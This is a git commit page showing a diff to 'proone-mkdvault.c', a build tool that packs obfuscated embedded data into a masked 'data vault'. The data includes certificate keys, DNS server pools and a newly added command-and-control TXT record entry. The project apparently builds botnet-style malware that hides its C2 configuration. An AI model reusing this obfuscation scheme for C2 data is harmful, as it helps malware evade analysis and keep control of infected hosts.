aboutsummaryrefslogtreecommitdiff
path: root/src/proone-mkdvault.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-08-24 09:37:43 +0930
committerDavid Timber <mieabby@gmail.com>2020-08-24 10:05:29 +0930
commitacf0b7a45171555eba2c10a6ef84f915c62f6791 (patch)
tree7253e8d86a199948530671c8bf59ecbb2c6e08f8 /src/proone-mkdvault.c
parent076671e7aa28451de087088c2e47f9e6064ae434 (diff)
* htbt checkpoint
* Change PRNE_BUILD_ENTROPY to uint8_t array * endian.h problem * Remove "-I." CFLAG added by Automake () * Moved endian conversion macros to endian.h * Moved DNS server config from config.h to resolv.h to reduce compile time * Refactor resolv_ensure_act_dns_fd() to reduce binary size
Diffstat (limited to 'src/proone-mkdvault.c')
-rw-r--r--src/proone-mkdvault.c16
1 files changed, 9 insertions, 7 deletions
diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c
index 1ed8b0e..fcacadb 100644
--- a/src/proone-mkdvault.c
+++ b/src/proone-mkdvault.c
@@ -2,6 +2,7 @@
#include "dvault.h"
#include "util_rt.h"
#include "imap.h"
+#include "resolv.h"
#include "proone_conf/x509.h"
#include <stdio.h>
@@ -63,7 +64,7 @@ static void assert_errno (const bool expr, const char *msg) {
}
static void assert_dvault (
- const prne_dvault_mask_result_t *ret,
+ const prne_dvault_mask_result_t *ret,
prne_data_key_t key)
{
if (ret->result != PRNE_DVAULT_MASK_OK) {
@@ -130,8 +131,8 @@ int main (void) {
&rnd,
mbedtls_entropy_func,
&ent,
- (unsigned char*)PRNE_BUILD_ENTROPY,
- sizeof(PRNE_BUILD_ENTROPY));
+ NULL,
+ 0);
assert_mbedtls(callret == 0, callret, "mbedtls_ctr_drbg_seed()");
gen_mask(mask);
@@ -149,6 +150,7 @@ int main (void) {
add_bin(PRNE_DATA_KEY_X509_C_KEY, PRNE_X509_C_KEY);
add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV4, PRNE_RESOLV_NS_POOL_IPV4);
add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV6, PRNE_RESOLV_NS_POOL_IPV6);
+ add_cstr(PRNE_DATA_KEY_CNC_TXT_REC, PRNE_CNC_TXT_REC);
pos += NB_PRNE_DATA_KEY * sizeof(uint16_t);
@@ -156,7 +158,7 @@ int main (void) {
for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) {
uint8_t salt;
const size_t avail = UINT16_MAX - pos;
-
+
assert_plain(ENTRIES[i].set, "Null entry found.");
callret = mbedtls_ctr_drbg_random(&rnd, &salt, 1);
@@ -184,7 +186,7 @@ int main (void) {
memcpy(ptr, mask, 256);
ptr += 256;
ptr_offsets = ptr;
-
+
for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) {
ptr[0] = (uint8_t)((ENTRIES[i].pos & 0xFF00) >> 8);
ptr[1] = (uint8_t)((ENTRIES[i].pos & 0x00FF) >> 0);
@@ -209,10 +211,10 @@ int main (void) {
memcpy(m_test, m_out, pos);
for (size_t i = 0; i < 3; i += 1) {
prne_init_dvault(m_test);
-
+
for (prne_data_key_t i = 0; i < NB_PRNE_DATA_KEY; i += 1) {
size_t size;
-
+
switch (ENTRIES[i].type) {
case PRNE_DATA_TYPE_BIN:
ptr_rd = prne_dvault_get_bin(i, &size);